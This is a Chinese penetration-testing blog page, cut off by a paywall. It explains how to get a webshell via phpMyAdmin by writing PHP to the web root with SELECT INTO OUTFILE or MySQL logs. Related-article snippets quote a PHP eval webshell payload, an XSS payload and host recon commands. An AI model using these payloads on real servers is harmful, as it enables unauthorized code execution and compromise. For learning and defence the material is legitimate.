【渗透测试】--- 利用phpmyadmin来getshell

最新推荐文章于 2023-04-18 17:28:27 发布
最新推荐文章于 2023-04-18 17:28:27 发布
阅读量645 收藏 1
点赞数
分类专栏： 渗透测试 文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_43168364/article/details/111366117
版权

利用phpmyadmin来getshell有两种方式

  • 1、利用into outfile直接将一句话写入文件中
  • 2、利用Mysql的日志文件getshell

不论是那种方式都要满足以下三个条件：

  • 未限制文件路径 secure_file_priv=
    在这里插入图片描述

  • 当前用户有写文件权限

  • 知道网站根目录 — C:\phpStudy\PHPTutorial\WWW

第一种方法

select "<?php phpinfo();?>" into outfile "/var/www/html/test.php" --- linux
最低0.47元/天 解锁文章
通地塔
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
渗透测试-内网信息收集
cdyunaq的博客
04-28 3170
1 收集本机信息 1.1 手动收集信息 查询网络配置信息 ipconfig /all 查询操作系统和版本信息 systeminfo | findstr /B /C:"OS Name" /C:"OS Version" systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" 查询系统体系结构 echo %PROCESSOR_ARCHITECTURE% 查看安装的软件及版本、路径等 wmic product get name,version 利用PowerS
phpmyadmin页面getshell
最新发布
星星我啊，已经很努力在学习了， 有人一起学习吗？Ziansec-1
04-03 459
来到phpmyadmin页面后如何getshell呢？下面介绍两种方法。
渗透测试-getshell学习总结
lza20001103的博客
08-26 2389
getshell学习总结 文章目录getshell学习总结一、方法分类1.带有漏洞的应用2.常规漏洞3.后台拿shell二、网站常见getshell方法1.数据库备份拿shell2.上传3.修改允许上传类型4.服务器解析漏洞5.编辑器6. 网站配置插马7.上传插件8.数据库执行9.文件包含10. 命令执行三、常见cms后台拿shell1.dedecms一、后台文件上传二、数据库执行拿shell2.南方数据、良精、动易一、数据库备份(备份图片马、备份数据库)1.上传图片马2.审查元素，找到图片马路径3.开始备
渗透测试-PhpMyAdmin后台getshell
道阻且长，行则将至。
08-10 5264
在通过对目标进行信息收集探测后，当发现存有phpmyadmin目录时，进而通过弱口令或者暴力破解进入数据库之后，有多种方法进行getshell。 MySQL导出木马 最常用的是通过into outfile直接写入一句话木马： select '<?php eval($_POST[cmd]); ?>' into outfile 'D:/phpStudy/www/xxx.php'; 当然，前...
渗透测试-getshell方法总结
Jian Sun_的博客
02-11 3187
一、管理员权限拿shell 需要有管理员权限才可以拿shell 通常需要登录后台执行相关操作 直接上传拿shell 国内多对上传类型进行了限制，需要在进行绕过操作 1、织梦cms后台为例子 进入后台 写入一个一句话木马 长传一个一句话木马 2、数据库备份拿shell 示例：南方数据 v7.0 良精通用企业网站管理系统 方法一： 1.先上一张图马，得到路径 2.选择数据库备份，将图马备份为a.asp 3.访问xxx/xxx/.../a.asp.
渗透测试-PhpMyAdmin后台文件包含漏洞
道阻且长，行则将至。
08-10 6296
漏洞背景 背景介绍 phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑，通过二次编码即可绕过检查，造成远程文件包含漏洞。 实训目标 1、了解此漏洞形成的原因； 2、掌握此漏洞的利用方式。 解题方向 根据漏洞编号找到相关知识。 攻击过程 墨者学院在线靶机：http://219.153.49.228:49400/index.php 直接...
渗透测试-权限提升
weixin_46626737的博客
03-13 471
比如：C://program files/a.exe -f，windows识别到空格，认为后面是参数，正确的应该是”C://program files/a.exe“ -f。命令问题：利用tar压缩，文件名改为--参数类型，从而执行 ，利用定时任务，和SUID（其他命令也可，换文件名-参数）先获得webshell，然后进行上传一些文件，进行测试提权（msf或者手动的EXP），然后创建用户，开启端口，远程连接。假如在C：//加一个program恶意文件exe后缀，再次执行，则该恶意文件会被执行。
渗透测试-信息打点
Bnessy
04-18 1602
渗透测试-信息打点
[Vulhub]（CVE-2016-5734）phpmyadmin 4.0.x-4.6.2远程执行代码漏洞
weixin_45605352的博客
05-06 333
0x01 漏洞描述 该漏洞在preg_replace函数中，因为用户提交的信息可以被拼接到第一个参数中。该函数时执行一个正则表达式并实现字符串的搜索和替换。 preg_replace ( string|array $pattern , string|array $replacement , string|array $subject , int $limit = -1 , int &$count = null ) : string|array|null 搜索 subject 中匹配 pattern
bitnami-docker-phpmyadmin:用于phpMyAdmin的Bitnami Docker映像
04-19
什么是phpMyAdmin？ phpMyAdmin是一个用PHP编写的免费软件工具，旨在处理Web上MySQL管理。 phpMyAdmin在MySQL和MariaDB上支持多种操作。 可以通过用户界面执行常用操作（管理数据库，表，列，关系，索引，用户，...
phpMyAdmin-5.2.0-all-languages.zip
08-01
总的来说，"phpMyAdmin-5.2.0-all-languages.zip" 是一个集成了多种语言并增强了功能和安全性的数据库管理工具。无论你是数据库管理员、开发者还是初学者，这个版本都将为你提供一个高效、安全且易于使用的平台，来...
ansible-role-phpmyadmin：Ansible角色-phpMyAdmin
01-31
在解压的文件`ansible-role-phpmyadmin-master`中，你会看到角色的结构，包括`defaults/main.yml`（默认变量）、`tasks/main.yml`（任务清单）、`templates`（模板文件）和`meta/main.yml`（角色元数据）等。...
Phpmyadmin后台代码执行CVE-2016-5734_poc
09-30
CVE-2016-5734在exploit-db上也就是 phpMyAdmin 4.6.2 - Authenticated Remote Code Execution ，意即phpMyAdmin认证用户的远程代码执行，根据描述可知受影响的phpMyAdmin所有的 4.6.x 版本（直至 4.6.3），4.4.x ...
phpMyAdmin-4.4.5-all-languages.zip
12-29
“phpMyAdmin-4.4.5”是该工具的一个具体版本。每个版本都可能包含新的特性、性能改进和安全修复。4.4.5版本发布于2015年，虽然不是最新版本，但依然能提供稳定的服务。不过，为了保持最佳的安全性和兼容性，建议...
【渗透测试】--- FCKeditor文本编辑器漏洞
热门推荐
qq_43168364的博客
12-25 1万+
一、FCKeditor编辑器漏洞 FCKeditor编辑器是一款强大的所见即所得文本编辑器，现在已经更名为：CKEditor fckeditor的常见敏感目录（FCK有时要小写） (1) 查看版本信息 /FCKeditor/editor/dialog/fck_about.html /FCKeditor/_whatsnew.html (2) 默认上传页面 /FCKeditor/editor/filemanager/browser/default/browser.html /FCKeditor/edito
【渗透测试】---如何用burpsuite伪造IP
qq_43168364的博客
09-18 1万+
一、伪造方法 使用fakeIP.py插件来伪造IP。 fakeip.py是一个用python写的用来伪造IP的插件。 安装过程如下 二、安装jython-standalone-2.7.0 jython-standalone-2.7.0是一个将Python代码转换成Java代码的编译器。 能够将自己用Python代码写的类库，用在Java程序里。 安装的网址：http://search.maven.org/remotecontent?filepath=org/python/jython-standalo
【渗透测试】--- rbash逃逸方法简述
qq_43168364的博客
12-29 4270
一、rbash简述 1.什么是rbash 它与一般shell的区别在于会限制一些行为，让一些命令无法执行 2.如何设置一个rbash cp /bin/bash /bin/rbash # 复制一个bash，重命名为rbash useradd -s /bin/rbash test # 设置用户test登陆的shell为rbash mkdir -p /home/test/.bin # 在test用户下新建一个.bin目录存放可以执行的命令 二、枚举Linux环境 1.检查可用的命令 如 cd、ls、su
渗透测试之---xss-labs闯关【1-14关】
qq_43168364的博客
04-18 2951
万能检测语句 <SCRscriptIPT>’”()Oonnjavascript 这条语句将给我们本次的闯关之旅带来极大的帮助 第一关 [Payload:<script>alert(/pig/)</script>] 首先看到了有查询字符串，我们心花怒放了。 先万能检测一下 好家伙啥都没有过滤，那就很easy了 第二关 [payload: ”>&......
docker-compose V3 部署mysql+phpmyadmin
07-17
要使用Docker Compose v3部署MySQL和phpMyAdmin，可以照以下步骤进行操作： 1.先，创建一个名为`docker-compose.yml的文件，并在其中添加以下内容： ```yaml version: '3' services: db: image: mysql:latest restart: always environment: MYSQL_ROOT_PASSWORD: your_mysql_root_password MYSQL_DATABASE: your_mysql_database MYSQL_USER: your_mysql_user MYSQL_PASSWORD: your_mysql_password phpmyadmin: image: phpmyadmin/phpmyadmin restart: always links: - db:db ports: - 8080:80 ``` 请替换`your_mysql_root_password`，`your_mysql_database`，`your_mysql_user`和`your_mysql_password`为您自己的MySQL配置信息。 2. 保存并关闭`docker-compose.yml`文件。 3. 在终端或命令提示符中，导航到包含`docker-compose.yml`文件的目录。 4. 运行以下命令以启动MySQL和phpMyAdmin容器： ``` docker-compose up -d ``` `-d`标志将使容器在后台运行。 5. 等待一段时间，直到容器启动并完成初始化。 6. 现在，您可以通过在浏览器中访问http://localhost:8080 来访问phpMyAdmin。如果您在远程服务器上安装了Docker，则需要替换"localhost"为服务器的IP地址。 请注意，上述配置中的MySQL容器将使用最新版本的MySQL镜像，并且phpMyAdmin容器将使用最新版本的phpMyAdmin镜像。您可以根据需要更改这些镜像的版本。 希望这可以帮助您成功部署MySQL和phpMyAdmin！如果有任何问题，请随时提问。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值